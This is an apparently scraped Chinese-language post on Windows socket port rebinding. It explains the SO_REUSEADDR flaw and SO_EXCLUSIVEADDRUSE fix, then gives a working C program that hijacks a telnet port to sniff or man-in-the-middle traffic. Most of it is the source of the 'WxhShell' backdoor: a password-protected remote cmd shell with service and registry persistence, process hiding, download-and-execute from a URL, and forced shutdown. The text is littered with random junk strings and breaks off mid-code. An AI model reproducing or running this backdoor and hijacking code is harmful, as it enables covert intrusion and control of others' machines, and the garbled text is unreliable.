在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(_+;R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Zf:]Gq1 kQIw/@WC saddr.sin_family = AF_INET;
IN !02`H =*MR(b> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
vrIV%l= Rlw3!]5+2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Z^_>A)<s< Ft-6m% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
x)viY5vjH km 5E)_] 这意味着什么?意味着可以进行如下的攻击:
Ci\? ^ 77aX-e*=E 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+{-]P\oc >FFVY{F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%$9bce-fcG e}"wL g] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tOg=zXm v\0^mp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-!dQ)UEP (F&YdWe: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!Q)3-u BKb<2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#PAU'u
3{/ (!</%^ZI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\E
hr@g Yj8& #include
dY'Y5Th~ #include
JvJ;bFXD #include
qgexb\x\4 #include
e\N0@ DWORD WINAPI ClientThread(LPVOID lpParam);
w}k B6o] int main()
?r3e*qJGn {
"c
Pz|~ WORD wVersionRequested;
CeW7Ym DWORD ret;
p":zrf'(6 WSADATA wsaData;
U[fSQ`&D BOOL val;
3$_2weZxYn SOCKADDR_IN saddr;
UR:n5V4 SOCKADDR_IN scaddr;
ScJu_Af int err;
[W(Y3yyY SOCKET s;
fPz=KoN SOCKET sc;
` :5,e/5, int caddsize;
Xj,j0 HANDLE mt;
e_.~n<= DWORD tid;
a4by^ wVersionRequested = MAKEWORD( 2, 2 );
SIv[9G6 err = WSAStartup( wVersionRequested, &wsaData );
JQT4N[rEE if ( err != 0 ) {
}x0Z(
` printf("error!WSAStartup failed!\n");
sU%"azc return -1;
eH[y[~r }
wE2x:Ge: saddr.sin_family = AF_INET;
-$R5 P"Rk?lL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4 z7q%,yw3N saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(xUFl@I! saddr.sin_port = htons(23);
SALCuo"L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{ _X#fq0} {
vnZ/tF printf("error!socket failed!\n");
(`mOB6j return -1;
Pz
{Ig }
7'UWRRsxUF val = TRUE;
sZm^&h; //SO_REUSEADDR选项就是可以实现端口重绑定的
4vGbG:x if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
H%T3Pc {
)"~=7)~<^ printf("error!setsockopt failed!\n");
2'dG7lLu4 return -1;
K#)bjxz }
k4mTZ}6E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=n)#!i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
rgn|24x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{~1M P^;WB*V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Z@nmjj i {
n}5x-SxS0 ret=GetLastError();
=U_@zDD@V printf("error!bind failed!\n");
B>aEHb return -1;
HnK/A0jM }
dw99FA6 listen(s,2);
c}\
d5R_L while(1)
U]mO7 HK {
,s81rJ- caddsize = sizeof(scaddr);
:|fl?{E //接受连接请求
~,+[M- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
QvNi8TB if(sc!=INVALID_SOCKET)
1Kc{#+a^ {
q8tug=c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
U%Ol^xl if(mt==NULL)
jL2MW(d^Q {
T-!|l7V~f printf("Thread Creat Failed!\n");
N$*>suQ, break;
4SBLu%=s% }
h%|9]5(= }
4Xr"d@2( CloseHandle(mt);
KZ
@l/s }
nu(eLUU closesocket(s);
E =
^-Z WSACleanup();
n('VQ0b return 0;
;<~j)8 }
m9cj7 DWORD WINAPI ClientThread(LPVOID lpParam)
9Mut p4# {
nFVbQa~ SOCKET ss = (SOCKET)lpParam;
@OrXbG7&># SOCKET sc;
'9Qd.q7s|b unsigned char buf[4096];
0=gF6U SOCKADDR_IN saddr;
ua!D-0 long num;
m(h/:JZ\ DWORD val;
B=^2g}mgK DWORD ret;
?({Pc F/ //如果是隐藏端口应用的话,可以在此处加一些判断
B1HQz@^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
),)Q{~&` saddr.sin_family = AF_INET;
&a~L_`\' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C`z;,!58% saddr.sin_port = htons(23);
=b|)Wnt2f if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Mof)2Hbd: {
9EjjkJ%)q printf("error!socket failed!\n");
HMFl/%z return -1;
YU*46 hA1B }
r)(i{:@r` val = 100;
X%*brl$D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S/) {
=+k&&vOAn ret = GetLastError();
[v~Uy$d\ return -1;
&0FpP&Z( }
Z,(%v.d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0FN~$+t)H {
]Oig..LJ ret = GetLastError();
d+1L5}Jn return -1;
R^F7a0" }
?Of{c,2 . if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
W[@"H1bVH {
av7q>NEZ!1 printf("error!socket connect failed!\n");
Vl&+/-V closesocket(sc);
/{49I, closesocket(ss);
)sMAhk| return -1;
*yL|} }
EgkZ$ah while(1)
Y^T-A}?` {
k?z
[hZg0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
B6^w{eXN //如果是嗅探内容的话,可以再此处进行内容分析和记录
%kaTQ"PB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
aEV|>K=6Y' num = recv(ss,buf,4096,0);
p]X!g if(num>0)
4Q&Xb < send(sc,buf,num,0);
<x.]OZgO else if(num==0)
EXv\FUzo break;
Cj`pw2. num = recv(sc,buf,4096,0);
qYQUr8{ if(num>0)
xF2f/y send(ss,buf,num,0);
}:K\)Pd else if(num==0)
Z^jGT+ 2 break;
c4FOfH| }
qQ2 closesocket(ss);
:XNK-A W closesocket(sc);
rin >r0o return 0 ;
-fx(H+ }
S]Yu6FtWiO ])3lH%4- _.oRVYK/ ==========================================================
./aZV Q;{D8 #! 下边附上一个代码,,WXhSHELL
9RbGa
Y& *q\HFI ==========================================================
#khyy-B= Y)@oo=oG #include "stdafx.h"
=[v2 znGZULa# #include <stdio.h>
CfazD??x #include <string.h>
s8/ozaeo #include <windows.h>
(2hk < #include <winsock2.h>
WzNG<rG #include <winsvc.h>
0KNH=;d} #include <urlmon.h>
Sm~? zU[k/ WVBE>TB #pragma comment (lib, "Ws2_32.lib")
64IeCAMVo #pragma comment (lib, "urlmon.lib")
}V93~> vQ9xG)) #define MAX_USER 100 // 最大客户端连接数
#8WR{ #define BUF_SOCK 200 // sock buffer
a78;\{&L' #define KEY_BUFF 255 // 输入 buffer
&@`H^8 {VrAh*#h
#define REBOOT 0 // 重启
Vj9`[1}1Z #define SHUTDOWN 1 // 关机
~7eUt^SD; T-<> )N5y #define DEF_PORT 5000 // 监听端口
uv_P{%TK ;mM\,
{Z #define REG_LEN 16 // 注册表键长度
g,{Ei]$>I #define SVC_LEN 80 // NT服务名长度
={wjeRp k;AV;KWI' // 从dll定义API
U)T/.L{0i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^*4(JR
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7J)a "d^e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Nys'4kx7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&T|UAM. ^$Me#ls! // wxhshell配置信息
$bM#\2' struct WSCFG {
P+_\}u; int ws_port; // 监听端口
L?/M2zc9Y char ws_passstr[REG_LEN]; // 口令
&Pn%zfmMN int ws_autoins; // 安装标记, 1=yes 0=no
Bm2}\KOI char ws_regname[REG_LEN]; // 注册表键名
{H"=PYR char ws_svcname[REG_LEN]; // 服务名
ivDG3>"JG char ws_svcdisp[SVC_LEN]; // 服务显示名
Z_hBd['! char ws_svcdesc[SVC_LEN]; // 服务描述信息
2#Q"@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
l[!C-Tq int ws_downexe; // 下载执行标记, 1=yes 0=no
NjCLL`?f char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^.><t+tM char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=*U%j mF$jC:Tb };
d/-0B<ts @)!1#^(}% // default Wxhshell configuration
#L)4| struct WSCFG wscfg={DEF_PORT,
{f6A[ZO; J "xuhuanlingzhe",
^LQ lfd 1,
gIf+.^/m1 "Wxhshell",
IhFw {=2* "Wxhshell",
NnSI)*%' "WxhShell Service",
"S:NU.c? "Wrsky Windows CmdShell Service",
LTlC}3c28f "Please Input Your Password: ",
RQ$o'U9A 1,
SE7 (+r "
http://www.wrsky.com/wxhshell.exe",
d}6AHS[ "Wxhshell.exe"
rym\5
`) };
L_CEY q;He:vX // 消息定义模块
$SD@D6`lL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~{]m8a/ `6 char *msg_ws_prompt="\n\r? for help\n\r#>";
28ov+s~1+- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2L{:H char *msg_ws_ext="\n\rExit.";
C#u)$Ds char *msg_ws_end="\n\rQuit.";
@kgpq char *msg_ws_boot="\n\rReboot...";
JOoLHZQ1v char *msg_ws_poff="\n\rShutdown...";
;*$8iwBQ_ char *msg_ws_down="\n\rSave to ";
ef1N#z%gt GE| ^ryh char *msg_ws_err="\n\rErr!";
2%No>w}/2 char *msg_ws_ok="\n\rOK!";
]nr
BmKB t$kf'An}/ char ExeFile[MAX_PATH];
xhoLQD int nUser = 0;
H2tpP~!G HANDLE handles[MAX_USER];
oXZ@* int OsIsNt;
&rtz&}ZB; A`ertSlbhe SERVICE_STATUS serviceStatus;
N*4IxY'vX/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
'\vmfp= k-Hfip[ro // 函数声明
9p0HFri[ int Install(void);
7^Q$pT> int Uninstall(void);
R~mMGz int DownloadFile(char *sURL, SOCKET wsh);
i?s&\3--Y int Boot(int flag);
07WIa@Q void HideProc(void);
Ia>th\_& int GetOsVer(void);
9!/1F ! int Wxhshell(SOCKET wsl);
eNk!pI7g void TalkWithClient(void *cs);
`[HoxCV3o int CmdShell(SOCKET sock);
otnY{r* int StartFromService(void);
n;T int StartWxhshell(LPSTR lpCmdLine);
V%KW[v<G< UBk
5O& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;>x1)|n5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Jhq5G" /)OO)B-r // 数据结构和表定义
mDt",#g
SERVICE_TABLE_ENTRY DispatchTable[] =
QBT-J`Pz {
)-Sl/G {wscfg.ws_svcname, NTServiceMain},
vkauX:M {NULL, NULL}
^Y*.Ktp,o };
!/q&0 a Q9'V&jm // 自我安装
If I$ int Install(void)
5'L}LT8p@ {
SvpTs char svExeFile[MAX_PATH];
F#C 6.`B HKEY key;
F v^80M=z strcpy(svExeFile,ExeFile);
Sy7^;/(ZZ |Bt x&'m // 如果是win9x系统,修改注册表设为自启动
/r 2.j3:l if(!OsIsNt) {
U~`^Y8UF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/01(9( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(DaP~*c3cC RegCloseKey(key);
tNNg[;0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)(
jNd&H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l4.@YYzbp. RegCloseKey(key);
0JWD] " return 0;
lNnbd?D8 }
f(ec/0W }
F$.s6Hh. }
ENF@6] else {
6!L*q @T=HcUP) // 如果是NT以上系统,安装为系统服务
rQ-z2Pw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k |aOUW if (schSCManager!=0)
~w}[
._'#M {
d:WhP_rK9 SC_HANDLE schService = CreateService
+o70:UF % (
*:\9T#h schSCManager,
;;J98G|1 wscfg.ws_svcname,
K`Zb;R
X wscfg.ws_svcdisp,
z_0 lMX` SERVICE_ALL_ACCESS,
1|$Rzt%ge SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\$Qm2XKrK SERVICE_AUTO_START,
g.VIe SERVICE_ERROR_NORMAL,
#)eJz1~ svExeFile,
T#;*I#A: NULL,
(ZR"O8 NULL,
SPm5tU NULL,
><[. NULL,
aV%rq9Tp NULL
?4||L8j2^ );
<(lSNGv5N if (schService!=0)
Uwil*Jh {
>~8Df61o` CloseServiceHandle(schService);
b4OR`dd*J CloseServiceHandle(schSCManager);
31\^9w__8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
cr;`0 strcat(svExeFile,wscfg.ws_svcname);
:iC\#i]6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
i*E`<9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ee?ZkU#@ RegCloseKey(key);
%* ;
8m' return 0;
-L<Pm(v& }
hWe}(Ks }
L#N.pd
CloseServiceHandle(schSCManager);
90v18k }
O
lIH0 }
cf3c+.o f__WnW5h return 1;
r1?FH2Ns }
,H1~_|)< dNt|"9~& // 自我卸载
c324@o^V int Uninstall(void)
[|Pe'?zkf {
W,J,h6{F HKEY key;
/Day5\Q# {j@)sDMX if(!OsIsNt) {
?b$zuJ] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BC[d={_- RegDeleteValue(key,wscfg.ws_regname);
NUtyUv RegCloseKey(key);
~n
9DG>a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\+A<s,x RegDeleteValue(key,wscfg.ws_regname);
JNl+UH:. RegCloseKey(key);
HwK "qq- return 0;
/ kGX 6hh }
UL"3skV }
xT8"+} }
z1 px^#
else {
~jTnjx Qeog$g.HI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
J>PV{N if (schSCManager!=0)
Mdh"G @$n {
PFw"ICs SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ol0|)0 if (schService!=0)
1dO8[5uM7a {
4!qDG+m if(DeleteService(schService)!=0) {
?{IvA: CloseServiceHandle(schService);
Z.(x|Q9 CloseServiceHandle(schSCManager);
C(Y6t1 return 0;
Q~{@3<yEI }
F'*&-l CloseServiceHandle(schService);
{`zF{AW8q }
sn#h=,*4` CloseServiceHandle(schSCManager);
Al]9/ML/m }
#|i{#~gxM }
4BtdN-T}b ]~ M
-KT return 1;
L?(rv.lb }
Bb`^,?m mjHY-lK // 从指定url下载文件
A UV$ S2 int DownloadFile(char *sURL, SOCKET wsh)
^w\uOd` {
A6L}5#7- HRESULT hr;
NR@Tj]`k char seps[]= "/";
=h;!# ZC char *token;
Q(3x"+ char *file;
zl?N1>KS char myURL[MAX_PATH];
E9hWn0 e char myFILE[MAX_PATH];
!Esiq<Yh dY.uOafr strcpy(myURL,sURL);
KJfyh=AD( token=strtok(myURL,seps);
{`Z)'G\` while(token!=NULL)
NBYE#Uih {
^IYN"yX_ file=token;
w (-n1oSo token=strtok(NULL,seps);
o3kj7U:'x }
uNg.y$>CX #!Fs[A5% GetCurrentDirectory(MAX_PATH,myFILE);
[\yI<^_a strcat(myFILE, "\\");
d:''qgz` strcat(myFILE, file);
=1qkoc~ send(wsh,myFILE,strlen(myFILE),0);
[_-K send(wsh,"...",3,0);
MzG.Qh'z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
kv b-= if(hr==S_OK)
Nb1lawC return 0;
7d5x4^EYE else
/K<Nlxcm return 1;
_C\b,D}p 0%/(p?]M }
XN;eehB?aE 4+ gA/< // 系统电源模块
~s_$a8 int Boot(int flag)
TbuR?# {
gjV&X N HANDLE hToken;
91XHz14 TOKEN_PRIVILEGES tkp;
.Dmvgi] Vp$ckr if(OsIsNt) {
-(G2@NG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!c7Od
)] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
D>Z_N?iR tkp.PrivilegeCount = 1;
0a'y\f:6* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BKEB,K=K@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5EUkp6Y if(flag==REBOOT) {
W|
p?KJk) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Dr:}k* return 0;
~k3r$e@ }
![V-
e else {
x{}m)2[ Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
o<4LL7$A! return 0;
.R,8<4 }
OA0\b_ }
`L>'9rbZO else {
Zn//u<D if(flag==REBOOT) {
t}nRW o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;Z*RCuwg return 0;
d\f5\Y }
{Hv=iVmt else {
6eD[)_?]y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4$"Lf'sH6 return 0;
PhS"tOGtX }
dEiX!k$# }
{65X37W "=;&{N~8U return 1;
AUK7a }
Mi/_hzZ\ hbK+\X // win9x进程隐藏模块
t-Wn@a void HideProc(void)
= DgD&_ {
;ORy&H aKl ;V
GrZZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
oCrn if ( hKernel != NULL )
P,wJ@8lv {
0)NHjKP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
l?q^j;{Dw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
P
dJ*'@~i FreeLibrary(hKernel);
^:#%TCJ }
pLU>vQA 3kMiC$ return;
LtQy(F%8/ }
u+9Mc u" `3-j%H2R // 获取操作系统版本
dXj.e4,m int GetOsVer(void)
wK_}`6R/ {
LHz{*`22q OSVERSIONINFO winfo;
L8fr
uwb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
i469<^A GetVersionEx(&winfo);
f19
i
! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
G-qxQD1wK return 1;
)
l)5^7=W else
jd{J3s '% return 0;
+uA<g`4 }
4)ISRR 9pgct6BO // 客户端句柄模块
'K1w.hC< int Wxhshell(SOCKET wsl)
=aCv
Xa&, {
aE"t[' SOCKET wsh;
Wac8x%J
struct sockaddr_in client;
!m;VWGl* DWORD myID;
rtpjx% &}FYz8w 2/ while(nUser<MAX_USER)
gLH(Wr~(a {
NJp;t[v.^ int nSize=sizeof(client);
t^'1Ebg wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Uu(W62 if(wsh==INVALID_SOCKET) return 1;
y^
:x2P [{ pc1U- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BK{8\/dg if(handles[nUser]==0)
.^uu*S_ closesocket(wsh);
(<CLftQKg else
~(8A&!#,! nUser++;
mf3 G$=[ }
LP~$7a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Rq7ks To 01Aa.i^d( return 0;
o8,K1ic5# }
Eq?o/'e P'K')]D=! // 关闭 socket
?tcbiXRG+ void CloseIt(SOCKET wsh)
/sai}r1 {
,LW0{(&z closesocket(wsh);
-[F^~Gv|; nUser--;
+a|4XyN ExitThread(0);
09"~<W8 }
_RmrjDk c"~TH.,d // 客户端请求句柄
r oKiSE` void TalkWithClient(void *cs)
^Ni)gm{?k {
V)]&UbEL| 7 XY C.g SOCKET wsh=(SOCKET)cs;
i8{jMe!Sa char pwd[SVC_LEN];
5&>(|Y~I char cmd[KEY_BUFF];
82<L07fB char chr[1];
hYV{N7$U| int i,j;
Cfj*[i4 ?`vb\K<5H; while (nUser < MAX_USER) {
wFvilF
V +k>v^sz if(wscfg.ws_passstr) {
84{<]y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N
8OPeY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UY+~xzm //ZeroMemory(pwd,KEY_BUFF);
/b*@dy i=0;
kC+A7k6 while(i<SVC_LEN) {
X;1q1X)K ?Cws25G // 设置超时
$5A XE;~{ fd_set FdRead;
vfj Ipg%i struct timeval TimeOut;
L?P8/]DGp FD_ZERO(&FdRead);
Zy#r<j]T FD_SET(wsh,&FdRead);
]-6 G'i? TimeOut.tv_sec=8;
z TK TimeOut.tv_usec=0;
<.<Nw6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>GcFk&x if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
x6,RW],FGR V7^?jck if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Ip4~qGJ pwd
=chr[0]; LP\ Qwj{
if(chr[0]==0xd || chr[0]==0xa) { @6gz)
p
pwd=0; o _-t/
?
break; HDaec`j
} L}9@kjW
i++; c.~|)^OXXO
} 56)B/0=
iZ:-V8{
// 如果是非法用户,关闭 socket QIw.`$H+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aql*@8
)m
} r*g _
;)kBJ @
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2P|-V} ;9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yG_#>3sD+%
s:_5p`w>
while(1) { J7xZo=@k
x:2_FoQ
ZeroMemory(cmd,KEY_BUFF); BgRiJFa.d[
''6"Xi|5
// 自动支持客户端 telnet标准 6?74l;
j=0; yT>T
Vq/e
while(j<KEY_BUFF) { ;?cUF78#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nQ+{1 C
cmd[j]=chr[0]; MT*b+&1e
if(chr[0]==0xa || chr[0]==0xd) { 48DsRy
cmd[j]=0; csV1ki/A
break; vr;7p[~
} jzV#%O{`
j++; V>%%2"&C
} Bm?Ku7}.
9qPP{K,Pq2
// 下载文件 +]{X-R
if(strstr(cmd,"http://")) { C
}[u[)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); EKt-C_)U
if(DownloadFile(cmd,wsh)) eDm,8Se
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]gEfm~YV
else zbnQCLs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'FVT"M~
} <L`R!}
else { OJK/>
+VeLd+Q}
switch(cmd[0]) { [L275]4n!]
$p0s
// 帮助 NUU}8a(K
case '?': { 9O)>>1}*S
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @@$
_TaI
break; oM VJ+#[x
} =FKB)#N
// 安装 -(2-zznZ
case 'i': { AE$)RhY`
if(Install()) zqeU>V~<F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V^ :\/EU
else m&\Gz*)3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E,X,RM~
+D
break; p-}:7CXP
} 4S=lO?\"A
// 卸载 #Z.JOwi
case 'r': { RS1oPY
if(Uninstall()) =f["M=)ZJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,t[D1KZt
else
y5#_@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .3!4@l\9C
break; ^J G}|v3$
} ks;%f34
// 显示 wxhshell 所在路径 (y36NH+
case 'p': { V~wmGp.e
char svExeFile[MAX_PATH]; %Xi%LUk{
strcpy(svExeFile,"\n\r"); (
r O j,D
strcat(svExeFile,ExeFile); ooAZ,l=8
send(wsh,svExeFile,strlen(svExeFile),0); Ac54VN
break; KYQ6U.%W
} 8%"e-chd
// 重启 HT]ubw]rJ
case 'b': { M(BZ<,9V
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X*~YCF[_
if(Boot(REBOOT)) s6egd%r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HI?>]zz|
else { 3k/MigT
closesocket(wsh); }8SHw|-
ExitThread(0); 4EK[gM8
} V OX>Sl
break; PTP2QAt
} XVfQscZe
// 关机 Hke\W'&
case 'd': { b-Hn=e _
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =VU2# O
if(Boot(SHUTDOWN)) DkIkiw{L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n&fV3[m`2
else { a$GKrc,z
closesocket(wsh); cwroG#jGT
ExitThread(0); )t4C*+9<U
} phdN9<Z
break; c1^3lgPv
} p
c],H
// 获取shell +D@R'$N
case 's': { ?,NAihN]
CmdShell(wsh); oW_WW$+N
closesocket(wsh); (nzt}i0
ExitThread(0); V6k9L*VP
break; `et<Z
} *v9G#[gG
// 退出 [>0r'-kI
case 'x': { +M*a.ra0OF
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HL?pnT09
CloseIt(wsh); YV
msWuF
break; uv5@Alm
} E;sltl
// 离开 fCfY.vd5
case 'q': { m";gD[m
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !S:@x.n@iR
closesocket(wsh); IFY!3^;zO
WSACleanup(); K"1J1>CHQ
exit(1); kD>vQ?
break; [wR8q,2
} >W<5$ .G
} J0 P
} PG!vn@b6
_X[c19q
// 提示信息 J\V(MN,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [OcD#~drO
} \a!<^|C&
} {aSq3C<r
rXPXO=F1/
return; S&*pR3,u
} j66@E\dN
)B_h"5X4\y
// shell模块句柄 zvD5i,I
int CmdShell(SOCKET sock) f/yK|[g~
{ >UMnItq(l
STARTUPINFO si; }#J}8.
ZeroMemory(&si,sizeof(si)); p!ErH]lH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9:>K!@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s,Swlo7D!
PROCESS_INFORMATION ProcessInfo; m5Kx}H~
char cmdline[]="cmd"; Mx"tUoU6z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MF`'r#@:wa
return 0; yKJ^hv"#
} YLGLr@:q
l&B'.6XKs
// 自身启动模式 ~}w 8UO
int StartFromService(void) H~Cfni;
{ ^=G+]$ 8
typedef struct 9x!y.gx
{ _SqrQ
DWORD ExitStatus; 9[D7N
DWORD PebBaseAddress; YC'~8\x3z
DWORD AffinityMask; %*OJRL`
